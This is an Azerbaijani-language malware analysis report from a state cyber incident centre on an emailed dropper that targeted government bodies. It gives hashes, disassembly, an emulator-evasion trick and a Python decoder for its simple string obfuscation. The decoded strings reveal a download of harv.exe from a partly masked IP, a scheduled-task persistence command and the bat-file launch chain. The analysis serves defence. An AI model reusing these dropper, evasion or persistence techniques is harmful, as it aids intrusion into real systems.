TEZIS_AZE_3448_MFA - yerli dövlət qurumlarını hədəf alan zərərvericinin analizi - 1. hissə (zərərli dropperin analizi)
Azərbaycan Respublikası Xüsusi Rabitə və İnformasiya Təhlükəsizliyi Dövlət Xidməti - Kompüter İnsidentlərinə qarşı Mübarizə Mərkəzi - Malware Research Lab – S.Abasov - 19 Oktyabr 2022
Hissə 1 – Zərərli dropperin analizi
Yerli dövlət orqanlarını hədəf alan şübhəli fayl e-poçt xidməti üzərindən göndərilmişdi. Şübhəli 32 bitlik icra edilə bilən fayl formatında idi.
Fayl ölçüsü: 46.50 KB (47616 bytes)
MD5: 0AD6C462D651C9435F204E33E93DC1A2
SHA-1: 8FFF825211374C23AF32CE606966924C5E7E9064
Zərərvericinin import tablosuna baxdığımız zaman şübhəli əməliyyatlar zamanı istifadə edilən bəzi kitabxana və funksiyalar diqqətimizdən qaçmadı.
Bundan əlavə olaraq əməliyyat sistemi versiyaları (Major= 6, Minor=0) bizə tərtib edilən sistemin Windows Vista və ya Windows Server 2008 olduğunu deyirdi ((müdaxilə edilə bilən dəyərlərdir).
Diqqətimizi çəkən növbəti məqam isə icra edilə bilən faylın tərtib edilən zaman (compile) debug rejimindən istifadə etdiyi oldu. Bu isə zərərvericini hazırlayan (lar) haqqında bizə bəzi məlumatlar verə bilərdi. Debug qovluğunda zərərvericinin tərtib edildiyi qovluq haqqında məlumat yer alırdı.
W:\fm\dropper\1.5 project\Debug\dropper.pdb
Zərərverici haqqında qısa məlumat aldıqdan sonra ilk olaraq dinamik analizə başladıq. Bu bizə zərərverici haqqında ümumi fikir formalaşdırmağımıza kömək olacaq. Monitorinq alətlərini hazırlayıb zərərvericini təhlükəsiz mühitdə işə saldıq. Toplanan logların analizinə proses ağacından başladıq. Burada diqqətimizi çəkən hadisənin şahidi olmadıq.
Bundan sonra isə zərərvericinin fayl system əməliyyatlarına baxdıq. Bu hissədə maraqlı məlumatlar var idi.
InetCache\IE\* qovluğunda yaradılan fayl harv[1].exe ehtimal ki, UrlDownloadToFileA funksiyası ilə yüklənilən məlumat idi. Daha sonra zərərverici %AppData%\Microsoft\Spelling qovluğunda gccFrame.exe adında fayl yaradır. Proses ağacına yenidən baxdıqda icra edilə bilən faylı tapşırıq paylayıcısına ( task scheduler ) əlavə etdiyini gördük.
gccFrame.exe haqqında məlumatları məqalənin 2. hissəsində alacaqsınız. Son olaraq isə zərərvericinin şəbəkə aktivliklərinə göz gəzdirdik. Burada zərərvericinin URLDownloadToFileA funksiyasını hansı məqsəd üçün istifadə etdiyini aşkarladıq. Zərərverici bu funksiyanln köməkliyi ilə x.x.130.41 ünvanında yerləşən /harv.exe faylını endirirdi.
Dinamik analizdən əsas aktivlikləri müşahidə etdikdən sonra keçdik zərərvericinin statik analizini. Statik analiz bizə daha ətraflı və dolğun məlumat verəcək.
Zərərvericinin statik analizi
Zərərverici əsas funksiyada ilk olaraq komanda xətti pəncərəsini gizlətmək üçün 2 əməliyyat icra edir. Bunun üçün FindWindow funksiyası ilə komanda xətti pəncərəsini sinif üzərindən aşkarlayır və pəncərəni gizlədir.
Daha sonra zərərverici antivirusların emulyator mühərriklərindən yayınmaq üçün kiçik bir fənd işlədir. İlk olaraq 5F5E100h = 100000000 həcmində yaddaş bölgəsi ayırır. Uzun zamandır istifadə edilən bir mexanizmdir. Mühərrik emulyasıya zamanı eyni həcmdə yaddaş bölgəsi ayırmağa cəhd edir və limit problemi yaranır. Bir digər limit problemi isə icra ediləcək təlimatların sayıdır. Zərərverici bunuda nəzər alaraq memset funskiyası ilə ayrılan bölgəyə 0 baytını yazır. Sonda isə ayrılan yaddaş bölgəsini free əmri ilə sistemə geri qaytarır.
.text:0041266D call ds:malloc
.text:00412673 add esp, 4
.text:00412676 cmp esi, esp
.text:00412678 call ???????
.text:0041267D mov [ebp+Block], eax
.text:00412680 cmp [ebp+Block], 0
.text:00412684 jz loc_412860
.text:0041268A push 5F5E100h ; Size
.text:0041268F push 0 ; Val
.text:00412691 mov eax, [ebp+Block]
.text:00412694 push eax ; void *
.text:00412695 call j_memset
.text:0041269A add esp, 0Ch
.text:0041269D mov esi, esp
.text:0041269F mov eax, [ebp+Block]
.text:004126A2 push eax ; Block
.text:004126A3 call ds:free
Zərərverici 2. dəfə oxşar əməliyyatı yerinə yetirir. Lokal dəyişənə 0 dəyərini mənimsədir və daha sonra for loop ilə bu dəyişəndə olan dəyərin üzərinə 1 əlavə edir. Dəyər 5F5E100h bərabər olanda isə əsas əməliyyatları icra etməyə başlayır.
İlk olaraq proses mühitindən (environment) @appdata qovluğunun tam yolunu götürür və lokal dəyişənə köçürür. Köçürülmə əməliyyatından sonra isə əldə edilən məlumatı sadə bir metod ilə kodlaşdırır.
>>> import os
>>> os.getenv
>>> e = os.getenv("Appdata")
>>> for i in e:
... print(chr(ord(i) + 2), end="")
...
E<^Wugtu^cfokp^CrrFcvc^Tqcokpi
Daha sonra eyni şəkildə 2 dəfə @temp qovluğunu. Bu əməliyyatları yerinə yetirdikdən sonra sıra ilə @temp qovluqlarının sonuna NAHDGFBAGGSD.bat və tmpBFGATURP.bat əlavə edir.
- "C:\\Users\\admin\\AppData\\Local\\Temp\\NAHDGFBAGGSD.bat"
- "C:\\Users\\admin\\AppData\\Local\\Temp\\tmpBFGATURP.bat"
Bu məlumatları push təlimatı stack bölgəsinə yazır və sub_5C12A3 funksiyası çağrılır. Məhz bu funksiya içərisində kritik əməliyyatlar icra edilirdi.
mov eax, ds:off_5C8B30 ; "NAHDGFBAGGSD.bat"
push eax ; Source
lea ecx, [ebp+Destination]
push ecx ; Destination
call j_strcat
add esp, 8
mov eax, ds:off_5C8B34 ; "tmpBFGATURP.bat"
push eax ; Source
lea ecx, [ebp+File]
push ecx ; Destination
call j_strcat
add esp, 8
lea eax, [ebp+File]
push eax ; LPCSTR
lea ecx, [ebp+Destination]
push ecx ; lpFileName
call sub_5C12A3 ; Kritik
Bu funksiyanın başlığında kodlaşdırılmış məlumatları buffere toplayır. Məlumatların necə kodlaşdırıldığını bildiyimiz üçün asan şəkildə deşifrə edə bildik.
push offset Source ; "UEJVCUMU\"1Etgcvg\"1VP\""
lea eax, [ebp+Destination]
push eax ; Destination
call j_strcat
add esp, 8
mov eax, off_41B008 ; "CrrHtcog"
push eax ; Source
lea ecx, [ebp+Destination]
push ecx ; Destination
call j_strcat
add esp, 8
push offset a1vtCrrfcvcOket ; "\"1VT\"$'crrfcvc'^Oketquqhv^Urgnnkpi^"
lea eax, [ebp+Destination]
push eax ; Destination
call j_strcat
add esp, 8
mov eax, off_41B004 ; "ieeHtcog0gzg"
push eax ; Source
lea ecx, [ebp+Destination]
push ecx ; Destination
call j_strcat
add esp, 8
push offset a1h1ueQpeg1uv ; "$\"1H\"1UE\"QPEG\"1UV\""
lea eax, [ebp+Destination]
push eax ; Destination
call j_strcat
>>> enc_data_list = ["UEJVCUMU\"1Etgcvg\"1VP\"", "CrrHtcog", "\"1VT\"$'crrfcvc'^Oketquqhv^Urgnnkpi^", "ieeHtcog0gzg", "$\"1H\"1UE\"QPEG\"1UV\""]
>>> def decode(enc_data):
... return "".join([chr(ord(i) - 2) for i in enc_data])
...
>>> for e in enc_data_list:
... e, decode(e)
...
('UEJVCUMU"1Etgcvg"1VP"', 'SCHTASKS /Create /TN ')
('CrrHtcog', 'AppFrame')
('"1VT"$\'crrfcvc\'^Oketquqhv^Urgnnkpi^', ' /TR "%appdata%\\Microsoft\\Spelling\\')
('ieeHtcog0gzg', 'gccFrame.exe')
('$"1H"1UE"QPEG"1UV"', '" /F /SC ONCE /ST ')
Bu əməliyyatlardan sonra zərərverici öncədən kodlaşdırdığı %appdata% qovluğunu deşifrə edir və sonuna deşifrə edilən ieeHtcog0gzg (gccFrame.exe) əlavə edərək URLDownloadToFileA funksiyasını çağırır. Funksiyanı çağırmaq üçün LoadLibrary ilə ilk olaraq urlmon.dll kitabxanasını yaddaşına yükləyir və GetProcAddress dəstəyi ilə funksiyanın (URLDownloadToFileA) adresini alır və funksiyanı çağırır. Zərərverici yüklənəcək olan məlumatın (payload) URL adresinidə kodlaşdırımışdı.
>>> decode("jvvr<xxx::05603520631jctx0gzg")
'http://xxx.xx.130.41/harv.exe'
URLDownloadTolFileA funksiyası aşağıda ki, parametrlər ilə çağrılır.
szURL = 'http://xxx.xx.130.41/harv.exe'
szFileName = %appdata%\Microsoft\Spelling\gccFrame.exe
Yükləmədən sonra zərərverici CreateFile funksiyası ilə bir öncəki funksiyadan parametr olaraq qəbul etdiyi C:\Users\admin\AppData\Local\Temp\NAHDGFBAGGSD.bat faylını yaradır. Yaradılan faylın içərisinə deşifrə edilən məlumatı (\n SCHTASKS /Create /TN AppFrame /TR "%appdata%\Microsoft\Spelling\gccFrame.exe" /F /SC ONCE /ST 04:48) yazır.
Növbəti əməliyyat zamanı yuxarıda göstərilən .bat skriptini icra etməsi üçün növbəti komanda sətiri kodunu (start /min cmd /c C:\Users\admin\AppData\Local\Temp\NAHDGFBAGGSD.bat) generasiya edir və tmpBFGATURP.bat faylına yazır.
Ən sonda zərərverici URLDownloadToFileA funksiyası ilə 'http://xxx.xx.130.41/harv.exe' adresindən yüklədiyi yükü (payload) tapşırıq paylayıcısına əlavə etmək üçün bu skripti (tmpBFGATURP.bat) ShellExecute funksiyası ilə işə salır və işini sonlandırır.